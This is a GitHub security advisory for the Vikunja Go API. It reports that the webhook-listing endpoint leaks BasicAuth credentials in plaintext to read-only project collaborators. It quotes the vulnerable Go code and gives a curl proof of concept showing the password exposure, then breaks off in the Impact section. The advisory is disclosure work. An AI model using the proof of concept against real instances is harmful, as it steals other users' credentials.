GitHub Security Advisory: GHSA-7c2g-p23p-4jg3
Package: code.vikunja.io/api (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: <= 2.2.0
Patched in: 2.2.1

Summary: Vikjuna: Webhook BasicAuth Credentials Exposed to Read-Only Project Collaborators via API

Details:
## Summary

The `GET /api/v1/projects/:project/webhooks` endpoint returns webhook BasicAuth credentials (`basic_auth_user` and `basic_auth_password`) in plaintext to any user with read access to the project. While the existing code correctly masks the HMAC `secret` field, the BasicAuth fields added in a later migration were not given the same treatment. This allows read-only collaborators to steal credentials intended for authenticating against external webhook receivers.

## Details

When listing project webhooks, the `ReadAll` method in `pkg/models/webhooks.go` (line 203) only requires project read access:

```go
// pkg/models/webhooks.go:203-244
func (w *Webhook) ReadAll(s *xorm.Session, a web.Auth, _ string, page int, perPage int) (result interface{}, resultCount int, numberOfTotalItems int64, err error) {
	p := &Project{ID: w.ProjectID}
	can, _, err := p.CanRead(s, a)  // Only requires read permission
	if err != nil {
		return nil, 0, 0, err
	}
	if !can {
		return nil, 0, 0, ErrGenericForbidden{}
	}

	// ... fetches webhooks from DB ...

	for _, webhook := range ws {
		webhook.Secret = ""  // HMAC secret is masked
		// BasicAuthUser and BasicAuthPassword are NOT masked
		if createdBy, has := users[webhook.CreatedByID]; has {
			webhook.CreatedBy = createdBy
		}
	}

	return ws, len(ws), total, err
}
```

The `Webhook` struct defines both fields with JSON serialization tags, so they are included in API responses:

```go
// pkg/models/webhooks.go:63-64
BasicAuthUser     string `xorm:"null" json:"basic_auth_user"`
BasicAuthPassword string `xorm:"null" json:"basic_auth_password"`
```

The BasicAuth fields were added in migration `[PII_REDACTED]0717` ("Add basic auth to webhooks"), but the credential masking logic at line 238 was not updated to include these new fields.

The same issue exists in the user webhook listing at `pkg/routes/api/v1/user_webhooks.go:65`, where `Secret` is masked but BasicAuth fields are not. This is lower impact since users only see their own webhooks.

## PoC

1. **As User A (project admin)**, create a project and a webhook with BasicAuth credentials:

```bash
# Create a webhook with BasicAuth on project 1
curl -X PUT "http://localhost:3456/api/v1/projects/1/webhooks" \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{
    "target_url": "https://external-service.example.com/hook",
    "events": ["task.created"],
    "secret": "my-hmac-secret",
    "basic_auth_user": "service-account",
    "basic_auth_password": "S3cretP@ssw0rd!"
  }'
```

2. **As User B (read-only collaborator on the same project)**, list webhooks:

```bash
curl -s "http://localhost:3456/api/v1/projects/1/webhooks" \
  -H "Authorization: Bearer $TOKEN_B" | jq '.[0] | {secret, basic_auth_user, basic_auth_password}'
```

3. **Expected output** (secret is masked, but BasicAuth is leaked):

```json
{
  "secret": "",
  "basic_auth_user": "service-account",
  "basic_auth_password": "S3cretP@ssw0rd!"
}
```

## Impact

- **Crede